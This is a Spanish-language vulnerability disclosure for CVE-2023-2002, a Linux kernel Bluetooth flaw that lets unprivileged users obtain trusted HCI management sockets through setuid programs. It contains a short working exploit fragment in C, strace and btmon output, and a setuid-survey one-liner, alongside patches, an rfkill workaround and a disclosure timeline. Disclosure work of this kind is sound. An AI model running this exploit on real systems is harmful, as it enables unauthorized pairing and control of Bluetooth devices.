
Linux Bluetooth - Ejecutar comandos de gestión arbitrarios como un usuario no privilegiado
Se ha encontrado una verificación de permisos insuficiente en el subsistema Bluetooth del kernel de Linux al manejar las llamadas al sistema ioctl de los sockets HCI. Esto provoca que tareas sin la capacidad adecuada CAP_NET_ADMIN puedan marcar fácilmente los sockets HCI como confiables (trusted). Los sockets confiables están diseñados para permitir el envío y recepción de comandos y eventos de gestión, como emparejar o conectar con un nuevo dispositivo. Como resultado, usuarios sin privilegios pueden adquirir un socket confiable, lo que lleva a la ejecución no autorizada de comandos de gestión. El exploit solo requiere la presencia de un conjunto de programas setuid de uso común (p. ej., su, sudo).
La causa directa de la vulnerabilidad es el siguiente fragmento de código:
static int hci_sock_ioctl(struct socket *sock, unsigned int cmd,
unsigned long arg)
{
...
if (hci_sock_gen_cookie(sk)) {
...
if (capable(CAP_NET_ADMIN))
hci_sock_set_flag(sk, HCI_SOCK_TRUSTED);
...
}
...
}
La implementación de una llamada al sistema ioctl verifica si la tarea que invoca la llamada tiene la capacidad CAP_NET_ADMIN necesaria para actualizar el indicador HCI_SOCK_TRUSTED. Sin embargo, esta verificación solo considera la tarea que realiza la llamada, que no necesariamente es la que abrió el socket. Por ejemplo, el socket puede compartirse con otra tarea mediante fork y execve, donde esta última tarea puede tener privilegios, como un programa setuid. Además, si el socket se utiliza como stdout o stderr, se realiza una llamada ioctl para obtener parámetros tty, lo cual puede verificarse mediante el comando strace.
# strace -e trace=ioctl sudo > /dev/null
ioctl(3, TIOCGPGRP, [30305]) = 0
ioctl(2, TIOCGWINSZ, {ws_row=45, ws_col=190, ws_xpixel=0, ws_ypixel=0}) = 0
Las llamadas ioctl para parámetros tty nunca tendrán éxito en sockets HCI, pero son suficientes para marcar los sockets HCI como confiables. Por lo tanto, un programa sin privilegios puede mantener sockets HCI confiables, permitiéndole enviar y recibir comandos y eventos de gestión, ya que el indicador de confianza nunca se borrará.
La explotación puede ser tan sencilla como lo siguiente:
int fd = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);
/* Al ejecutar sudo con un socket HCI como stderr, una llamada
* al sistema ioctl convierte al socket HCI en privilegiado
* (es decir, con el indicador HCI_SOCK_TRUSTED establecido).
*/
int pid = fork();
if (pid == 0) {
dup2(fd, 2);
close(fd);
execlp("sudo", "sudo", NULL);
}
waitpid(pid, NULL, 0);
struct sockaddr_hci haddr;
haddr.hci_family = AF_BLUETOOTH;
haddr.hci_dev = HCI_DEV_NONE;
haddr.hci_channel = HCI_CHANNEL_CONTROL;
/* El socket no ha sido vinculado. Ahora puede vincularse al
* canal de gestión. Después de eso, el indicador
* HCI_SOCK_TRUSTED aún está presente, ya que nunca se borrará.
*/
bind(fd, (struct sockaddr *)&haddr, sizeof(haddr));
Además, se puede usar btmon para confirmar que el socket se vuelve confiable y que los comandos de gestión sucesivos tendrán éxito:
# btmon
@ RAW Open: sudo (privileged) version 2.22
@ RAW Close: sudo
@ MGMT Open: sudo (privileged) version 1.22
@ MGMT Command: Set Powered (0x0005) plen 1
Powered: Disabled (0x00)
@ MGMT Event: Command Complete (0x0001) plen 7
Set Powered (0x0005) plen 4
Status: Success (0x00)
Se puede encontrar un PoC completo para cambiar el estado de encendido de los dispositivos Bluetooth en GitHub.
Si se explota con éxito, la vulnerabilidad identificada tiene el potencial de comprometer la confidencialidad, integridad y disponibilidad de la comunicación Bluetooth. Los atacantes pueden explotar esta vulnerabilidad para emparejar el controlador con dispositivos maliciosos, incluso si el servicio Bluetooth está deshabilitado o no está instalado. También es posible evitar que dispositivos específicos se emparejen, o leer información sensible como los datos OOB.
La vulnerabilidad explotable ha estado presente en el kernel de Linux desde v4.9. Más específicamente, se vuelve explotable después del commit f81f5b2db869 ("Bluetooth: Send control open and close messages for HCI raw sockets"). Antes de este commit, explotar la vulnerabilidad requería engañar a un programa privilegiado para que vinculara un socket HCI, lo cual es muy difícil (si no imposible) de provocar en la práctica. Sin embargo, después del commit, solo requiere engañar a un programa privilegiado para que invoque una llamada al sistema ioctl, lo que depende únicamente de la existencia de un programa setuid, como se ilustró anteriormente.
La explotación funciona mientras haya programas setuid (o más precisamente, programas con la capacidad CAP_NET_ADMIN) que invoquen llamadas ioctl en stdin, stdout o stderr. En la mayoría de las distribuciones Linux, una prueba rápida (aunque muy burda) revela que bastantes programas setuid utilizan llamadas al sistema ioctl, que están marcados con 'V' en la tabla a continuación:
# find . -user root -perm -4000 -exec sh -c "strace -e trace=ioctl {} < /dev/null 2>&1 > /dev/null | grep ioctl > /dev/null && echo -n 'V ' || echo -n 'S '; echo {};" \; | sort
S ./chage
S ./expiry
S ./fusermount
S ./fusermount3
S ./gpasswd
S ./ksu
S ./mount.cifs
S ./sg
S ./umount
V ./chfn
V ./chsh
V ./mount
V ./newgrp
V ./passwd
V ./pkexec
V ./screen-4.9.0
V ./su
V ./sudo
V ./unix_chkpwd
Después de verificar manualmente la salida de strace, se encuentra que todos estos usuarios de ioctl están utilizando llamadas ioctl en stdin, stdout o stderr para obtener o establecer algunos parámetros tty. Nótese que no se pasan argumentos a estos programas setuid. Si se pasan algunos argumentos manipulados, el número de usuarios de ioctl podría aumentar. Como resultado, varias distribuciones de Linux pueden ser vulnerables a la explotación.
Como nota al margen, los dispositivos Android, sin embargo, es poco probable que se vean afectados, ya que la explotación requiere la existencia de programas setuid, que Android ha evitado usar desde hace algún tiempo. Además, tampoco hay aplicaciones con la capacidad CAP_NET_ADMIN en Android.
Se ha publicado un parche en la lista de correo linux-bluetooth que corrige esta vulnerabilidad reemplazando capable() por sk_capable(), donde sk_capable() verifica no solo la tarea actual sino también que el abridor del socket tenga la capacidad requerida. Al mismo tiempo, otro parche presentado endurece la lógica de procesamiento de ioctl verificando la validez del comando al inicio de hci_sock_ioctl() y devolviendo un código de error ENOIOCTLCMD inmediatamente antes de hacer cualquier otra cosa si el comando no es válido.
Como solución alternativa, si los dispositivos Bluetooth no se están utilizando en absoluto (pero no es factible eliminar físicamente el dispositivo), es posible simplemente bloquear los dispositivos usando rfkill, lo que evitará que los dispositivos se enciendan. Al hacerlo, el envío de comandos de gestión para encender dispositivos Bluetooth no tendrá éxito. Esto puede reducir significativamente el impacto de esta vulnerabilidad.
Hay dos formas de evitar vulnerabilidades similares en el futuro: endurecer el kernel de Linux y endurecer los programas setuid del espacio de usuario.
Esta vulnerabilidad comparte exactamente el mismo principio que CVE-2014-0181. En el caso de CVE-2014-0181, el problema era la falta de un mecanismo para autorizar operaciones de Netlink basadas en el abridor del socket, lo que permite a usuarios locales modificar configuraciones de red utilizando un socket Netlink para stdout o stderr de un programa setuid.
2023-04-04: Descubrí esta vulnerabilidad durante mi auditoría de la pila de protocolos Bluetooth en el kernel de Linux.
2023-04-09: Reporté esta vulnerabilidad al equipo de seguridad del kernel de Linux y a los proveedores de distribuciones, con una versión inicial de los parches.
2023-04-12: Se asignó un ID CVE a esta vulnerabilidad, que es CVE-2023-2002.
2023-04-13: Después de varios días de discusión con los mantenedores, los parches se actualizaron en consecuencia.
2023-04-16: La vulnerabilidad se divulgó públicamente en la lista de correo oss-security y en GitHub (aquí). Se publicaron dos parches en la lista de correo pública linux-bluetooth (primero, segundo).
2023-05-01: La corrección llegó al kernel principal (como parte de la ventana de fusión de v6.4), así como en v6.3.1, v6.2.14, v6.1.27 y v5.15.110. También se ha puesto en cola para la próxima versión estable de los kernels v5.10, v5.4, v4.19 y v4.14.
2023-05-17: Finalmente, la corrección llegó a todos los kernels estables. Específicamente, también se ha aplicado a los kernels v5.10.180, v5.4.243, v4.19.283 y v4.14.315.